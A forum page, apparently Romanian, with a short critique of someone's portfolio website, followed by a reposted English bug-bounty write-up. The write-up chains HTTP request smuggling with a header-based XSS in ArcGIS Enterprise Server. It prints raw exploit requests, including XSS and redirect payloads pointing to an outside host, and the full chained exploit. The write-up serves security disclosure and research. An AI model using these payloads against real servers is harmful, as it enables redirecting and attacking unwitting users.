Leaderboard

Nu stiu cum vad altii chestia asta, pentru ca am vazut-o practicata destul de des, dar mie mi se pare ca nu da bine deloc ca programator/echipa care se lauda ca stie si backend si frontend sa foloseasca un WP sau alta platforma pentru site-ul de prezentare. Site-ul de prezentare trebuie sa fie cartea ta de vizita. Tu cu ce te prezinti? Cu un cod scris de altul? - "Tu" in general, cei care practica asta. E adevarat ca nu-ti vede nimeni codul de pe site "cu ochiul liber" incat sa poata sa-si faca o parere "meh", dar totusi.. Si eu lucrez la site-ul meu de prezentare, trag de el ca de un caine mort pentru ca lucrez si la alta platforma in paralel, dar incerc sa-l fac unic si sa poarte semnatura mea, sa zic asa. Asta asa, subiectiv. Obiectiv: imaginile par ca au lag pana se face flip la acel text, link-urile nu e ok sa se deschida in tab nou daca nu e link extern sau daca nu ai vreun motiv intemeiat sa vrei sa ma pastrezi in pagina veche, coloritul e un pic copilaresc (bate spre "hacky boi", nu pare profi), pagina de contact pare ca aproape n-are CSS pe .container. Nu stiu daca e doar la mine dar totul e foarte laggy. Scriu in inputurile de pe contact si apar literele de zici ca vin cu CFR. BTW, e LZO? Cu L? O.o Mereu ti-am citit usernameul ca izomedia. Nici nu pot pronunta LZO. Succes!

Smuggling an (Un)exploitable XSSPermalink This is the story about how I’ve chained a seemingly uninteresting request smuggling vulnerability with an even more uninteresting header-based XSS to redirect network-internal web site users without any user interaction to arbitrary pages. This post also introduces a 0day in ArcGis Enterprise Server. However, this post is not about how request smuggling works. If you’re new to this topic, have a look at the amazing research published by James Kettle, who goes into detail about the concepts. Smuggling Requests for Different Response LengthsPermalink So what I usually do when having a look at a single application is trying to identify endpoints that are likely to be proxied across the infrastructure - endpoints that are commonly proxied are for example API endpoints since those are usually infrastructurally separated from any front-end stuff. While hunting on a private HackerOne program, I’ve found an asset exposing an API endpoint that was actually vulnerable to a CL.TE-based request smuggling by using a payload like the following: POST /redacted HTTP/1.1 Content-Type: application/json Content-Length: 132 Host: redacted.com Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Foo: bar Transfer-Encoding: chunked 4d {"GeraetInfoId":"61e358b9-a2e8-4662-ab5f-56234a19a1b8","AppVersion":"2.2.40"} 0 GET / HTTP/1.1 Host: redacted.com X: X As you can see here, I’m smuggling a simple GET request against the root path of the webserver on the same vhost. So in theory, if the request is successfully smuggled, we’d see the root page as a response instead of the originally queried API endpoint. To verify that, I’ve spun up a TurboIntruder instance using a configuration that issues the payload a hundred times: While TuroboIntruder was running, I’ve manually refreshed the page a couple of times to trigger (simulate) the vulnerability. Interestingly, the attack seemed to work quite well, since there were actually two different response sizes, whereof one was returning the original response of the API: And the other returned the start page: This confirms the request smuggling vulnerability against myself. Pretty cool so far, but self-exploitation isn’t that much fun. Poisoning Links Through ArcGis’ X-Forwarded-Url-Base HeaderPermalink To extend my attack surface for the smuggling issue, I’ve noticed that the same server was also running an instance of the ArcGis Enterprise Server under another directory. So I’ve reviewed its source code for vulnerabilities that I could use to improve the request smuggling vulnerability. I’ve stumbled upon an interesting constellation affecting its generic error handling: The ArcGIS error handler accepts a customized HTTP header called X-Forwarded-Url-Base that is used for the base of all links on the error page, but only if it is combined with another customized HTTP header called X-Forwarded-Request-Context. The value supplied to X-Forwarded-Request-Context doesn’t really matter as long as it is set. So a minified request to exploit this issue against the ArcGis’ /rest/directories route looks like the following: GET /rest/directories HTTP/1.1 Host: redacted.com X-Forwarded-Url-Base: https://www.rce.wf/cat.html? X-Forwarded-Request-Context: HackerOne This simply poisons all links on the error page with a reference to my server at https://www.rce.wf/cat.html? (note the appended ? which is used to get rid off the automatically appended URL string /rest/services😞 While this already looks like a good candidate to be chained with the smuggling, it still requires user interaction by having the user (victim) to click on any link on the error page. However, I was actually looking for something that does not require any user interaction. A Seemingly Unexploitable ArcGis XSSPermalink You’ve probably guessed it already. The very same header combination as previously shown is also vulnerable to a reflected XSS. Using a payload like the following for the X-Forwarded-Url-Base: X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>alert(1)</script> X-Forwarded-Request-Context: HackerOne leads to an alert being injected into the error page: Now, a header-based XSS is usually not exploitable on its own, but it becomes easily exploitable when chained with a request smuggling vulnerability because the attacker is able to fully control the request. While popping alert boxes on victims that are visiting the vulnerable server is funny, I was looking for a way to maximize my impact to claim a critical bounty. The solution: redirection. If you’d now use a payload like the following: X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>document.location='https://www.rce.wf/cat.html';</script> X-Forwarded-Request-Context: HackerOne …you’d now be able to redirect users. Connecting the DotsPermalink The full exploit looked like the following: POST /redacted HTTP/1.1 Content-Type: application/json Content-Length: 278 Host: redacted.com Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Foo: bar Transfer-Encoding: chunked 4d {"GeraetInfoId":"61e358b9-a2e8-4662-ab5f-56234a19a1b8","AppVersion":"2.2.40"} 0 GET /redacted/rest/directories HTTP/1.1 Host: redacted.com X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>document.location='https://www.rce.wf/cat.html';</script> X-Forwarded-Request-Context: HackerOne X: X While executing this attack at around 1000 requests per second, I was able to actually see some interesting hits on my server: After doing some lookups I was able to confirm that those hits were indeed originating from the program’s internal network. Mission Completed. Thanks for the nice critical bounty Sursa: https://www.rcesecurity.com/2020/11/Smuggling-an-un-exploitable-xss/